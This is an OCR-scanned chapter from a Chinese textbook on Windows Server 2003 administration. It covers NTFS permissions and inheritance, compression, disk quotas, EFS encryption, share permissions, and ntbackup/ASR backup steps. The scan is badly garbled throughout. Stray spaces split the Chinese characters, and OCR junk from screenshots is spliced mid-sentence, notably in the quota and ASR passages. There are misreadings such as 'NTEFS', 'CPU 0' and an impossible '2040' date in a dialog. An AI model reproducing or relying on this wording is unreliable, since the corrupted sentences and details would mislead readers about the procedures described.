在 安装 Windows Server 2003 系统 时 ,默认 安装 的 磁盘 分 区 为 NTFS 分 区 。 利 用 
NTFS 分 区 可 以 有 效 地 提高 Windows Server 2003 文件 系统 的 数据 安全 性 、 存 储 有 效 性 以 
及 磁盘 空间 的 利用 率 。 所 以 强烈 建议 在 Windows Server 2003 中 对 磁盘 格式 化 时 采用 
NTEFS 分 区 。 下 面 将 讲述 NTFS 文件 系统 是 怎样 保证 文件 安全 的 内 容 。 

1. 使 用 NTFS 权限 管理 资源 

NTFS 权限 分 为 特殊 NTFS 权限 和 标准 NTFS 权限 两 大 类 。 

标准 NTFS 权限 可 以 说 是 特殊 NTFS 权限 的 特定 组 合 。Windows Server 2003 为 了 简 
化 管理 ,将 一 些 常 用 的 特殊 NTFS 权限 组 合 起 来 并 内 置 到 操作 系统 中 ,形成 标准 NTFS 权 
限 。 当 需要 分 配 权限 时 ,可 以 通过 分 配 一 个 标准 NTFS 权限 而 达到 一 次 分 配 多 个 特殊 
NTFS 权限 的 目的 。 这 样 做 大 大 简化 了 权限 的 分 配 和 管理 。 当 标准 NTFS 权限 没有 提供 
一 些 特殊 需要 的 NTFS 权限 的 组 合 时 ,仍然 可 以 通过 设 定 一 个 特殊 NTFS 权限 来 满足 

对 于 文件 ,标准 NTFS 权限 分 别 为 : 读 取 、 写 入 、 读 取 和 运行 ,修改 、 完 全 控制 。 

。 读 取 : 此 权限 可 以 读 取 文 件 内 的 数据 ,查看 文件 的 属性 、 所 有 者 ,文件 的 权限 等 。 
写 和 人 : 此 权限 可 以 将 文件 覆盖 、 改 变 文件 属性 、 查 看 文件 的 所 有 者 、 查 看 文件 的 权限 
等 。 但 是 ,不 可 以 直接 更 改 文件 内 的 数据 ,例如 : 不 能 利用 Word 直接 编辑 修改 
Word 文档 ,只 能 够 将 该 文档 整个 覆盖 掉 。 一 般 跟 “ 读 取 ”权限 一 起 赋予 。 
读 取 和 运行 : 除了 “ 读 取 ”的 所 有 权限 外 ,还 可 以 运行 应 用 程序 。 
修改 : 除了 “ 读 取 ” 和 “ 读 取 及 运行 "的 所 有 权限 外 ,还 具有 写 入 的 权限 ,可 以 更 改 文 
件 的 数据 、 删 除 文 件 、 改 变 文件 名 等 。 

。 完全 控制 : 它 拥 有 所 有 NTFS 权限 ,可 以 修改 权限 ,取得 所 有 权 等 。 

对 于 文件 夹 ,标准 NTFS 权限 分 别 为 : 读 取 、 写 入 、 列 出 文件 夹 目 录 、 读 取 及 运行 修改、 
完全 控制 。 

。 读 取 : 此 权限 可 以 查看 该 文件 夹 内 的 文件 和 子 文件 夹 名 称 ,查看 文件 夹 的 属性 、 所 

有 者 、 文 件 夹 的 权限 等 。 
。 写 入 : 此 权限 可 以 在 文件 夹 内 添加 文件 和 文件 夹 ,改变 文件 夹 属性 、 查 看 文件 夹 的 
所 有 者 、 查 看 文件 夹 的 权限 等 。 
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。 列 出 文件 夹 目录 : 此 权限 除了 拥有 “ 读 取 ”的 所 有 权限 外 ,还 具有 “遍历 子 文件 夹 ” 的 
权限 ,但 不 能 在 此 文件 夹 下 写 人 (不 能 创建 新 对 象 )。 该 权限 只 能 被 文件 夹 继承 ,而 
不 能 被 文件 继承 。 
。 读 取 及 运行 : 拥有 读 取 的 所 有 权限 ,同时 可 以 运行 文件 夹 下 的 可 执行 文件 ,和 “ 列 出 
文件 夹 目 录 ” 的 权限 一 样 ,只 是 在 权限 的 继承 方面 有 所 不 同 ,“ 列 出 文件 夹 目录 ”的 权 
限 只 由 文件 夹 来 继承 ,而 “ 读 取 及 运行 "是 由 文件 夹 和 文件 来 同时 继承 。 
。 修改 : 除了 “ 读 取 及 运行 "和 “ 列 出 文件 夹 目 录 ” 的 所 有 权限 外 ,还 具有 写 入 的 权限 。 
可 以 添加 和 删除 子 文件 夹 、 文 件 , 改 变 子 文件 夹 名 等 。 
。 完全 控制 : 它 拥有 所 有 NTFS 权限 ,可 以 修改 权限 ,取得 所 有 权 等 。 
NTFS 权限 具有 继承 性 ,默认 情况 下 ,授予 父 文件 夹 的 权限 将 被 包含 在 该 父 文件 夹 下 的 
子 文件 夹 或 文件 所 继承 。 也 可 以 说 文件 或 文件 夹 默 认 继 承 分 区 或 父 文件 夹 的 权限 ,并 且 继 
承 来 的 权限 不 能 直接 设置 和 修改 。 
一 个 用 户 试图 访问 一 个 文件 或 者 文件 夹 的 时 候 , NTFS 文件 系统 会 检查 用 户 使 用 的 账 
户 或 者 账户 所 属 的 组 是 否 在 此 文件 或 者 文件 夹 的 访问 控制 列表 (ACL) 中 ,如 果 存 在 则 进 一 
步 检 查访 问 控 制 项 (ACE) ,然后 根据 控制 项 中 的 权限 来 判断 用 户 最 终 的 权限 。 如 果 访 问 控 
制 列 表 中 不 存在 用 户 使 用 的 账户 或 者 账户 所 属 的 组 ,就 拒绝 用 户 访问 。 
NTFS 权限 的 应 用 规则 包括 下 面 几 条 : 
(1) 权限 的 组 合 
当 一 个 用 户 属于 多 个 组 的 时 候 , 这 个 用 户 会 得 到 各 个 组 的 累加 权限 ,但 是 一 旦 有 一 个 组 
的 相应 权限 被 拒绝 ,此 用 户 的 此 权限 也 会 被 拒绝 。 
假设 有 一 个 用 户 WZ, 如 果 WZ 属 于 A 和 B 两 个 组 ,A 组 对 某 文件 有 读 取 权限 ,B 组 对 
此 文件 有 写 入 权限 ,WZ 自己 对 此 文件 有 修改 权限 ,那么 WZ 对 此 文件 的 最 终 权限 为 读 取 十 
写 入 十 修改 权限 。 
假设 WZ 对 文件 有 写 入 权限 ,A 组 对 此 文件 有 读 取 权限 ,但 是 B 组 对 此 文件 为 拒绝 读 
取 权 限 ,那么 WZ 对 此 文件 只 有 写 人 权限。 由 于 WZ 对 此 文件 只 有 写 人 权限 ,但 是 没有 读 取 
权限 ,所 以 WZ 对 此 文件 的 写 人 权限 无 效 。 
(2) 权限 的 继承 
新 建 的 文件 或 者 文件 夹 会 自动 继承 上 一 级 目录 或 者 驱动 器 的 NTFS 权限 ,但 是 从 上 一 
级 继承 下 来 的 权限 是 不 能 直接 修改 的 ,只 能 在 此 基础 上 添加 其 他 权限 。 当 然 这 并 不 是 绝对 
的 ,只 要 用 户 的 权限 够 ,比如 用 户 是 管理 员 , 也 可 以 把 这 个 继承 下 来 的 权限 修改 了 ,或 者 让 文 
件 不 再 继承 上 一 级 目录 或 者 驱动 器 的 NTFS 权限 。 
(3) 拒绝 权限 超越 所 有 其 他 权限 
无 论 给 账户 或 者 组 什么 权限 ,只 要 在 拒绝 的 这 一 栏 里 有 勾 , 那 么 被 拒绝 的 权限 就 绝对 
有 效 。 
(4) 移动 和 复制 操作 对 权限 的 影响 
。 在 同一 个 分 区 内 移动 文件 或 文件 夹 时 ,此 文件 和 文件 夹 会 保留 在 原 位 置 的 一 切 
NTFS 权限 。 
。 在 不 同 的 NTFS 分 区 之 间 移 动 文 件 或 文件 夹 时 ,文件 或 文件 夹 会 继承 目的 分 区 中 文 
件 夹 的 权限 。 
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在 同一 个 NTFS 分 区 内 复制 文件 或 文件 夹 时 ,文件 或 文件 夹 将 继承 目的 位 置 中 的 文 
件 夹 的 权限 。 
在 不 同 NTFS 分 区 之 间 复 制 文件 或 文件 夹 时 ,文件 或 文件 夹 将 继承 目的 位 置 中 文件 
夹 的 权限 。 
当 从 NTFS 分 区 向 FAT 分 区 中 复制 或 移动 文件 和 文件 夹 都 将 导致 文件 和 文件 夹 的 
权限 丢失 。 

2. 使 用 NTFS 文件 系统 压缩 数据 

Windows Server 2003 对 NTFS 卷 支持 单个 文件 和 文件 夹 的 压缩 。 压 缩 在 NTFS 卷 上 
的 文件 可 被 任 一 基于 Windows 的 应 用 程序 读 和 写 ,而 不 必 首 先 用 其 他 程序 解压 。 当 文件 读 
取 时 自动 解压 , 当 文件 被 关闭 或 保存 时 又 再 次 压缩 。 

但 是 ,数据 的 压缩 和 解压 缩 过 程 是 要 消耗 CPU 0 是 以 牺牲 CPU 运算 性 能 
为 代价 而 换取 空间 的 (这 也 是 任何 一 种 压缩 软件 的 共性 )。 因 此 如 果 不 是 硬盘 空间 十 分 不 
足 ,建议 不 要 使 用 该 功能 。 另 外 NTFS 0 tah 0 压缩 过 的 文件 (如 zip 文 
件 JPG 文件 .MP3 文件 等 ) 来 说 不 会 进一步 缩小 该 类 文件 所 占用 的 硬盘 空间 。 

压缩 NTFS Pees pa 

打开 “Windows 资源 管理 器 ”, 在 “Windows 资源 管理 器 ”中 选择 要 压缩 的 文件 或 文件 
夹 ,在 选择 的 文件 或 文件 夹 上 右 击 ,在 弹出 的 快捷 菜单 中 选择 “属性 ”命令 ,打开 文件 或 文件 
夹 属性 对 话 框 , 单 击 “ 高 级 ”按钮 ,打开 “高 级 属性 ”对 话 框 , 勾 选 “压缩 内 容 以 便 节 省 磁盘 空 
间 ” 复 选 框 ,如 图 5-15 所 示 , 单 击 “ 确 定 ” 按 钮 。 


lx 
第 规 | 共享 | 安全 | 自 定义 | 
Ld 夫 _ 21x 
请 选择 用 于 该 文件 来 

类 型 。 文件 天 Ep RE 
位 置 : D:\ 中 凑 豆 米 
大 小 ; 992 KB (1,016, 146 字 节 ) | 
占用 空间 : 。 993 匣 (1,017, 344 字 节 ) - 
包 合 ; 29 个 文件 ,0 个 文件 买 E 快 允许 索 引 服务 篇 制 流 文 件 夹 的 案 引 GD) 
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图 5-15 使 用 NTFS 文件 系统 压缩 文件 


压缩 对 于 移动 和 复制 文件 的 影响 如 下 : 

。 当 在 同一 个 NTFS 分 区 中 复制 文件 或 文件 夹 时 ,文件 或 文件 夹 会 继承 目标 位 置 的 文 
件 夹 的 压缩 状态 。 

。 当 在 同一 个 NTFS 分 区 中 移动 文件 或 文件 夹 时 ,文件 或 文件 夹 会 保留 原 有 的 压缩 
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。 当 在 不 同 的 NTFS 分 区 之 间 复 制 文件 或 文件 夹 时 ,文件 或 文件 夹 会 继承 目标 位 置 的 
文件 夹 的 压缩 状态 。 
。 当 在 不 同 的 NTFS 分 区 之 间 移 动 文件 或 文件 夹 时 ,文件 或 文件 夹 会 继承 目标 位 置 的 
文件 夹 的 压缩 状态 。 
3. 使 用 NTFS 文件 系统 实现 磁盘 配额 
磁盘 配额 是 以 每 个 用 户 每 个 卷 为 基础 进行 跟踪 的 ,用 户 只 能 对 它们 所 拥有 的 文件 
进行 配额 管理 。 磁 盘 配 额 只 能 针对 驱动 器 (或 称 a 
分 区 ) 来 设置 ,不 能 针对 物理 硬盘 的 空间 而 设 钢 | I 有 具 | 而 | # 亨 
安全 | 着 影 副本 配额 
置 , 即 若 一 个 硬盘 上 有 多 个 分 区 , 则 一 个 分 区 上 
- 苍 xs aammeiesn 
的 磁盘 配额 不 会 影响 到 用 户 使 用 其 他 分 区 的 磁 


厅 启用 配额 管理 ) 
盘 空间 。 厂 拒绝 格 磺 又 空间 给 超过 配额 限制 的 用 户 o) 

在 NTFS 文件 系统 上 对 新 创建 的 用 户 设置 磁 人 

个 不 限制 表 合用 四) 

盘 配 额 需 进行 如 下 操作 : 后 阁员 朗 空 间 限制 为 I” Jc5 可 

打开 “Windows 资源 管理 器 ”选择 要 设 定 磁 9 
盘 配 额 的 驱动 器 。 在 选择 的 驱动 器 上 右 击 ,在 弹出 i 

于 | 


的 快捷 菜单 中 选择 “属性 ”命令 ,弹出 驱动 器 属性 对 
话 框 ,打开 “配额 ”选项 卡 , 勾 选 “启用 配额 管理 ” 复 
选 框 ,如 图 5-16 所 示 。 勾 选 “ 拒 绝 将 磁盘 空间 给 超 
过 配额 限制 的 用 户 ” 复 选 框 , 则 当 用 户 超过 分 配给 
他 的 配额 时 操作 系统 会 拒绝 用 户 向 该 驱动 器 上 写 
入 数据 。 

4. 使 用 NTFS 文件 系统 中 的 文件 加 密 提高 安全 性 

对 要 保护 文件 的 访问 可 以 通过 使 用 用 户 权 利 及 权限 来 限制 。 然 而 ,如 果 入 侵 者 能 够 得 
到 用 户 的 磁盘 驱动 器 , 则 入 侵 者 可 以 在 其 他 计算 机 上 安装 该 驱动 器 ,然后 在 该 机 的 操作 系统 
平台 上 用 管理 级 特权 访问 存储 在 驱动 器 上 的 数据 。 为 了 防止 这 种 情况 发 生 , Windows 
Server 2003 提供 了 一 种 解决 方案 一 一 数据 加 密 。 数 据 加 密使 用 一 种 叫做 “文件 加 密 系 统 
(EFS)” 的 功能 。 在 Windows Server 2003 的 NTFS 文件 系统 中 内 置 了 EFS 加 密 系 统 ,利用 
EFS 加 密 系 统 可 以 对 保存 在 硬盘 上 的 文件 进行 加 密 。EFS 加 密 系统 作为 NTFS 文件 系统 

一 个 内 置 的 功能 ,其 加 密 和 解密 过 程 对 应 用 程序 和 用 户 而 言 是 完全 透明 的 。 另 外 
Windows Server 2003 内 置 了 数据 恢复 功能 ,可 以 由 管理 员 恢 复 被 男 一 个 用 户 加 密 的 数据 ， 
保证 了 数据 在 需要 使 用 的 情况 下 始终 可 用 。 

通过 将 要 加 密 的 文件 置 于 一 个 文件 夹 中 ,再 对 该 文件 夹 加 密 , 可 以 实现 一 次 加 密 大 量 的 
数据 。 在 这 种 情况 下 也 仍然 是 对 文件 的 加 密 , 并 且 在 其 下 创建 的 所 有 文件 和 子 文件 夹 都 会 
被 加 密 。 此 功能 在 Windows Server 2003 中 是 透明 的 ,EFS 用 户 如 果 是 加 密 者 本 人 ,系统 会 
在 用 户 访 问 这 些 文件 和 文件 夹 时 将 其 自动 解密 ,用 户 完全 不 用 参与 。 

在 Windows Server 2003 中 使 用 EFS 加 密 文 件 或 文件 夹 的 方法 如 下 : 打开 “Windows 
资源 管理 器 ” ,在 ”Windows 资源 管理 器 ”中 选择 要 加 密 的 文件 或 文件 夹 。 在 选择 的 文件 或 
文件 夹 上 右 击 ,选择 “属性 ”命令 ,弹出 文件 或 文件 夹 属性 对 话 框 。 单 击 “ 高 级 ”按钮 ,弹出 “高 
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图 5-16 ”磁盘 配额 


21x) 级 属性 ”对 话 框 ,如 图 5=17 所 示 。 勾 选 “加 密 内 容 


[呈请 用 于 该 文件 天 的 设置. 以 便 保护 数据 ” 复 选 框 , 单 击 “ 确 定 ” 按 钮 。 在 文件 
员 王浆 是 再 这些 更改 同 时 应 用 于 、 本 0 
Re 夹 属性 对 话 框 中 单 击 “ 应 用 ”按钮 ,弹出 “确认 属性 
车 二 更 改 ” 对 话 框 。 勾 选 “ 仅 将 更 改 应 用 于 该 文件 夹 ” 
ds htt ons 复 选 框 , 则 将 只 加 密 选 择 的 文件 夹 以 及 之 后 添加 
- 压 和 或 加 客 属性 i . i 
让 到 这 一 文件 夹 下 的 任何 文件 和 文件 夹 中 的 数据 ; 
7 i 色 选 “将 更 改 应 用 于 该 文件 夹子 文件 夹 和 文件 ” 


复 选 框 ,将 加 密 所 有 已 经 加 入 和 之 后 加 入 到 这 个 
文件 夹 下 的 文件 和 文件 夹 及 子 文件 夹 下 的 数据 。 
单 击 “ 确 定 ” 按 钮 ,结束 操作 ,系统 开始 加 密 。 

使 用 EFS 加 密 文件 和 文件 夹 时 , 需 注意 : 

只 有 NTFS 卷 上 的 文件 或 文件 夹 才 能 被 加 密 。 

不 能 加 密 压缩 的 文件 或 文件 夹 。 

如 果 将 加 密 的 文件 复制 或 移动 到 非 NTFS 格式 的 卷 上 ,该 文件 将 会 被 解密 。 

如 果 将 非 加 密 文件 移动 到 加 密 文件 夹 中 , 则 这 些 文件 将 在 新 文件 夹 中 自动 加 密 。 

无 法 加 密 标 记 为 “系统 "属性 的 文件 ,并 且 位 于 systemroot 目录 结构 中 的 文件 也 无 
法 加 密 。 

加 密 文 件 夹 或 文件 不 能 防止 删除 或 列 出 文件 或 目录 。 具 有 合适 权限 的 人 员 可 以 删 
除 或 列 出 已 加 密 文件 夹 或 文件 。 

。 在 允许 进行 远程 加 密 的 远程 计算 机 上 可 以 加 密 或 解密 文件 及 文件 夹 。 


5.6.2 共享 文件 夹 


为 了 保证 网 络 中 共享 文件 夹 的 安全 性 ,需要 在 文件 服务 器 中 设置 共享 文件 夹 的 访问 权 
限 。 只 有 拥有 足够 权限 的 用 户 , 才 可 以 访问 与 其 权限 相对 应 的 共享 文件 夹 ,并 对 共享 文件 夹 
进行 相应 操作 。 

共享 权限 是 共享 文件 夹 的 访问 权限 ,文件 夹 的 安全 就 是 指 在 NTFS 中 该 文件 夹 和 文件 
的 权限 。 客 户 访问 NTFS 文件 系统 中 的 共享 文件 夹 时 是 共享 权限 十 NTFS 的 权限 。 假 设 
用 户 在 一 个 FAT32 分 区 共享 了 一 个 文件 夹 ,那么 客户 访问 时 只 受 共享 的 权限 影响 ,或 读 ， 
或 读 写 ,但 如 果 用 户 在 NTFS 分 区 中 共享 了 一 个 文件 夹 时 ,就 受 NTFS 权限 影响 ,如 果 说 对 
共享 文件 夹 设 了 写 的 权限 ,但 是 在 NTFS( 安 全 ) 中 只 有 读 的 权限 , 则 访问 时 也 只 有 读 的 
权限 。 


图 5-17 文件 加 密 对 话 框 


5.7 Windows Server 2003 系统 数据 备份 与 恢复 


计算 机 网 络 在 运行 过 程 中 ,难免 会 发 生 故 障 。 一 旦 发 生 故障 ,就 会 使 数据 丢失 ,任务 难 

以 继续 下 去 ,甚至 所 有 已 做 的 工作 前 功 尽 弃 , Windows Server 2003 也 不 例外 。 系 统管 理 员 

日 常 工作 的 主要 职责 是 维护 ,管理 计算 机 网 络 。 在 管理 网 络 中 有 一 项 主要 的 任务 ,就 是 当 网 

络 中 的 计算 机 系统 被 损坏 或 不 能 正常 启动 时 ,为 网 络 用 户 提供 快速 、 准 确 的 服务 ,如 修复 或 

恢复 系统 ,使 用 户 能 正常 使 用 计算 机 网 络 所 有 资源 。 同 时 ,还 必须 为 用 户 采 取 一 些 措 施 , 防 
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止 数据 的 丢失 。 

备份 有 助 于 用 户 在 服务 器 或 存储 器 介质 发 生 故 障 时 保护 数据 ,防止 这 些 数 据 意外 丢失 。 
如 果 硬 盘 中 的 原始 数据 不 小 心 被 擦 除 或 覆盖 ,或 者 因为 硬盘 故障 而 无 法 访问 ,用 户 可 以 轻松 
地 从 已 存档 的 副本 中 进行 还 原 。 

在 备份 数据 之 前 首先 选择 备份 存储 器 的 类 型 ,备份 存储 器 可 以 是 硬盘 驱动 器 或 单独 的 
存储 设备 。 最 好 使 用 磁带 进行 备份 ,因为 可 以 在 计算 机 之 外 的 位 置 创 建 备份 并 存储 磁带 。 
这 样 可 以 预防 硬盘 故障 以 及 火灾 或 其 他 灾难 性 事件 所 引起 的 数据 丢失 。 

如 果 选 择 备 份 到 硬盘 ,请 确保 该 硬盘 与 主 硬盘 是 相互 独立 的 ,以 免 主 硬盘 发 生 故 障 。 备 
份 到 硬盘 驱动 器 很 方便 ,但 是 不 能 预防 灾难 性 事件 。 

备份 文件 和 文件 夹 需要 特定 的 权限 和 用 户 权 限 。 安 排 备 份 过 程 中 ,系统 将 要 求 提供 有 
关 运 行 备份 的 用 户 的 信息 。 如 果 用 户 是 本 地 计算 机 上 的 管理 员 组 或 备份 操作 员 组 的 成 员 ， 
则 可 以 备份 本 地 组 所 应 用 到 的 本 地 计算 机 上 的 任何 文件 和 文件 来。 如 果 用 户 是 域 控制 器 上 
的 管理 员 组 或 备份 操作 员 组 的 成 员 , 则 仅 能 备份 域 控制 器 上 的 数据 ,而 不 能 备份 域 中 其 他 计 
算 机 上 的 数据 ,除非 将 内 置 管 理 员 组 添加 到 域 管理 组 ,或 将 内 置 备份 操作 员 组 添加 到 加 入 域 
的 计算 机 的 本 地 备份 操作 员 组 。 

如 果 用 户 不 是 域 的 备份 操作 员 组 的 成 员 , 但 是 希望 备份 文件 , 则 用 户 必须 是 要 进行 备份 
的 文件 和 文件 夹 的 所 有 者 ,或 者 对 要 进行 备份 的 文件 和 文件 夹具 有 以 下 权限 : 读 取 、 读 取 与 
执行 ,修改 或 完全 控制 。 

最 好 选择 在 夜晚 周末 或 不 使 用 服务 器 的 时 候 进 行 备份 。 用 户 可 以 备份 打开 的 或 正在 
使 用 的 文件 ,但 是 备份 可 能 会 跳 过 其 他 进程 正在 使 用 的 一 些 文件 。 备 份 时 关闭 所 有 应 用 程 
序 是 很 好 的 做 法 ,以便 尽量 减少 未 备份 的 文件 数 。 

用 户 每 周 都 应 该 安排 对 所 有 数据 进行 普通 备份 ,包括 服务 器 的 系统 状态 数据 。 普 通 备 
份 将 复制 选择 的 所 有 文件 ,并 将 每 个 文件 标记 为 已 备份 。 此 外 ,用 户 还 应 该 安排 在 每 周 不 进 
行 普通 备份 的 日 期 进行 差异 备份 。 差 异 备份 复制 自 上 次 普通 备份 以 来 创建 和 更 改 的 文件 。 
因为 它 不 将 文件 标记 为 已 备份 ,所 以 已 更 改 的 文件 仍 将 在 下 次 普通 备份 时 进行 备份 。 还 原 
数据 要 求 用 户 具 有 最 近 的 普通 备份 和 差异 备份 。 服 务 器 的 系统 状态 数据 包括 操作 系统 的 特 
定 于 系统 的 数据 集 ( 必 须 作为 整体 进行 备份 ), 这 并 不 是 对 整个 系统 的 备份 。 系 统 状态 数据 
包括 注册 表 、COM 十 类 注册 数据 库 、 系 统 文件 .引导 文件 和 “Windows 文件 保护 ”下 的 文件 。 

下 面 介绍 的 系统 备份 和 还 原 仅 适用 于 运行 Windows 2003 的 文件 和 打印 服务 器 , 它 包 
括 以 下 任务 : 

(1) 创建 自动 系统 恢复 (ASR) 集 。 

(2) 备份 文件 和 打印 服务 器 。 

(3) 从 备份 还 原文 件 。 

(4) 使 用 ASR 集 恢复 计算 机 。 


5.7.1 创建 自动 系统 恢复 (ASR) 集 


在 Windows Server 2003 中 ,备份 和 恢复 工具 多 了 一 个 重要 的 手段 Automated 
System Recovery( 简 称 ASR) 。 使 用 该 工具 可 以 自动 将 Windows 系统 恢复 成 备份 时 的 状 
态 , 大 大 简化 了 备份 和 恢复 操作 的 复杂 性 。 和 Windows 2000 时 代 的 通过 创建 紧急 修复 磁 
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盘 的 方法 相 比 ,更 简洁 ,更 快速 ,更 自动 化 。 

ASR 是 一 个 恢复 选项 ,包含 两 个 部 分 : ASR 备份 和 ASR 还 原 。 用 户 可 以 通过 “备份 ” 
实用 程序 中 的 “自动 系统 故障 恢复 准备 向 导 ” 来 使 用 备份 功能 。“ 自动 系统 故障 恢复 准备 向 
导 ” 能 够 备份 系统 状态 数据 、 系 统 服 务 , 以 及 所 有 与 操作 系统 组 件 相 关 的 磁盘 。 同 时 向 导 还 
会 创建 一 张 软盘 ,其 中 包含 有 关 备 份 、 磁 盘 配 置 (包含 基本 卷 和 动态 卷 ) 以 及 如 何 执行 还 原 的 
信息 。 

在 备份 数据 时 ,除了 要 经 常备 份 数 据 外 ,用 户 应 在 服务 器 首次 投入 使 用 后 以 及 对 系统 进 
行 某 些 重大 更 改 ( 例 如 软件 和 硬件 升级 ) 前 后 再 次 使 用 时 ,使 用 备份 创建 自动 系统 恢复 
(ASR) 集 。 

使 用 ASR 集 恢复 系统 是 仅 在 使 用 其 他 方法 (例如 启动 选项 * ee “最 后 一 次 正 
确 的 配置 ”) 无 法 进行 系统 恢复 的 情况 下 , 才 使 用 ASR 集 做 最 后 的 尝试 。 要 执行 此 过 程 ,用 
户 必 须 是 本 地 计算 机 上 的 管 ae ti ey 如 
果 计 算 机 已 加 入 域 , 则 域 管 理 员 组 成 员 也 可 以 执行 此 过 程 。 

因为 ASR 集 包含 操作 系统 文件 的 备份 和 可 在 计算 机 不 能 正常 启动 时 用 于 启动 计算 机 
的 可 引导 软盘 ,创建 ASR 集 前 ,请 确保 具有 3. 5 英寸 的 软盘 已 制作 引导 盘 。 

创建 ASR 集 的 操作 步骤 如 下 : 

(1) 单 击 “ 开 始 ”, 然 后 单 击 “ 运 行 ”, 输 入 ntbackup, 然 后 单 击 “ 确 定 ”。 此 时 会 出 现 “ 备 份 
或 还 原 向 导 ” 窗 口 ,如 图 5-18 所 示 。 
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备份 或 还 


备份 关 型、 目标 和 名 称 
和 的 文件 和 设置 储存 在 指定 的 目标 。 夯 
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E: \Backup\ =] 浏览 响 | 
输入 这 个 备份 的 名 称 Q); 
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您 还 需要 一 张 软盘 来 依存 系统 恢复 信息 。 


《上 =- 步 @g[T- 上 m 取消 | 
图 5-18 备份 或 还 原 向 导 


(2) 在 “备份 或 还 原 向 导 ” 页 面 中 ,确保 已 选择 备份 文件 和 设置 ,然后 单 击 “ 下 一 步 ”。 

(3) 在 “要 备份 的 内 容 ” 页 面 中 ,确保 已 选择 “这 台 计 算 机 上 的 所 有 信息 ”, 然 后 单 击 “ 下 
= 此 ”， 

(4) 在 “备份 类 型 .目标 和 名 称 ” 页 面 的 “选择 备份 类 型 "中 ,如 果 要 将 文件 和 文件 夹 复 制 
到 文件 , 则 选择 “文件 ”, 或 者 如 果 要 将 文件 或 文件 夹 复制 到 磁带 , 则 选择 “磁带 设备 ”。 在 “ 选 
择 备 份 保存 的 位 置 ”中 , 单 击 下 拉 菜 单 或 单 击 “ 浏 览 ” 以 选择 一 个 位 置 来 保存 用 户 的 备份 。 在 
“输入 这 个 备份 的 名 称 ” 中 ,为 该 备份 输入 一 个 描述 性 名 称 , 然 后 单 击 “ 下 一 步 ”。 
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(5) 在 “完成 备份 或 还 原 向 导 ” 页 面 中 ,验证 是 否 所 有 的 信息 都 正确 ,然后 单 击 “ 完 成 ” 开 
始 创 建 ASR 集 。 创 建 ASR 集 的 过 程 可 能 至 少 需要 15 分 钟 。 

(6) 当 显 示 “ 备 份 实用 程序 ”消息 时 ,根据 指示 信息 在 驱动 器 A 中 搬入 1. 44 兆 字 节 
(MB) 的 软盘 ,然后 单 击 “ 确 定 ”。 如 果 用 户 的 服务 器 没有 软驱 ,用 户 仍 可 以 将 systemroot\ 
repair 目录 中 的 asr. sif 和 asrpnp. sif 文件 复制 到 具有 软驱 的 其 他 计算 机 ,然后 将 这 些 文件 
复制 到 软盘 ,从 而 执行 ASR 备份 。 但 是 ,在 运行 ASR 还 原 过 程 之 前 ,用 户 必 须 将 软驱 连接 
到 服务 器 。 

(7) 当 “ 备 份 工具 ”对 话 框 提示 可 以 拔 出 软盘 时 ,请 确保 用 给 定 的 信息 对 软盘 进行 标记 。 
如 图 5-19 所 示 。 


i 职 出 磁 驮 ,将 下 标 为 
4 ASR_Backup_12-10-03. bkf 创建 于 2040-10-5，12:55 的 Windews 自动 系统 恢复 磁 驮 
将 其 保存 在 一 个 安全 的 地 方 ,以便 病 要 用 Windows 自动 系 纺 侈 复 来 还 原 系统 。 
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图 5-19 备份 完成 对 话 框 


(8) 完成 备份 之 后 ,“ 备 份 进度 ”对 话 框 将 指示 备份 已 完成 。 要 查看 有 关 在 备份 过 程 中 
发 生 事 件 的 其 他 信息 ,请 单 击 “ 报 告 ” 以 打开 Notepad 中 的 备份 报告 。 完 成 之 后 , 单 击 “ 关 
闭 ” 按 钮 ,如 图 5-20 所 示 。 rr 

(9) 创建 ASR 集 之 后 ,仔细 标记 该 软盘 和 备 【生计 和 从 
份 介 质 , 并 将 其 放 在 一 起 。 要 使 用 备份 介质 ,用 户 上 全 汪汪 生生 。 扩 共 | 
必须 具有 通过 该 介质 创建 的 软盘 , 不 能 使 用 在 不 弓 时 em 
同时 间或 用 不 同 介质 创建 的 软盘 。 在 执行 自动 系 1 


dt 局 到 
统 恢复 时 ,用 户 还 必须 具有 安装 CD。 
已 用 时 间 ， 信 计 利 作 时间 


标签 
状态 
使 用 ASR 的 注意 点 : 时 间 : mF 
文件 数 
字 节 


(1) ASR 不 包括 数据 文件 。 请 定期 单独 备份 
数据 文件 ,并 在 系统 正常 工作 以 后 将 其 还 原 。 

(2) ASR 对 FAT16 格式 的 卷 仅 支持 2. 1GB。 
ASR 不 支持 秘 大 小 为 64K 的 4GB FAT16 格式 的 
分 区 。 如 果 用 户 的 系统 包含 4GB FAT16 格式 的 分 区 ,请 在 使 用 ASR 之 前 将 其 从 FAT16 
转换 为 NTFS。 

5.7.2 备份 文件 和 打印 服务 器 


为 了 保护 服务 器 ,应 该 对 所 有 数据 进行 定期 备份 。 建 议 对 所 有 数据 (包括 服务 器 的 系统 
状态 数据 ) 进 行 每 周 普通 备份 。 普 通 备份 将 复制 用 户 选 择 的 所 有 文件 ,并 将 每 个 文件 标记 为 
已 备份 。 此 外 ,每 周 进行 差异 备份 。 差 异 备份 复制 自 上 次 普通 备份 以 来 创建 和 更 改 的 文件 。 
进行 每 周 普通 备份 的 操作 流程 如 下 。 

(1) 单 击 “ 开 始 ”, 然 后 单 击 “ 运 行 ”, 输 入 ntbackup, 然 后 单 击 “ 确 定 ”。 

(2) 出 现 “ 备 份 或 还 原 向 导 ”。 单 击 “ 下 一 步 ”。 

(3) 在 “备份 或 还 原 向 导 ” 页 面 中 ,确保 已 选择 备份 文件 和 设置 ,然后 单 击 “ 下 一 步 ”。 

a a 


已 处 理 : 估计 : 
I 10,215 | 10,218 
1, 703, 352, 546 [ 1, 703, 351, 966 


图 5-20 备份 进度 


(4) 在 “要 备份 的 内 容 ” 页 面 中 , 单 击 “ 让 我 选择 要 备份 的 内 容 ”, 然 后 单 击 “ 下 一 步 ”。 
(5) 在 “要 备份 的 项 目 ” 页 面 上 , 单 击 项 目 以 展开 其 内 容 。 勾 选 包 含 应 该 定期 备份 的 数 
据 的 所 有 设备 或 文件 夹 的 复 选 框 ,然后 单 击 “ 下 一 步 ”, 如 图 5-21 所 示 。 


图 5-21 备份 的 项 目 


(6) 在 “备份 类 型 .目标 和 名 称 ”页 面 中 的 “选择 保存 备份 的 位 置 ” 中 , 单 击 下 拉 菜 单 或 单 
击 “ 浏 览 ” 以 选择 保存 备份 的 位 置 。 在 “输入 这 个 备份 的 名 称 ” 中 ,为 该 备份 输入 一 个 描述 性 
名 称 ,然后 单 击 “ 下 一 步 ”, 如 图 5-22 所 示 。 


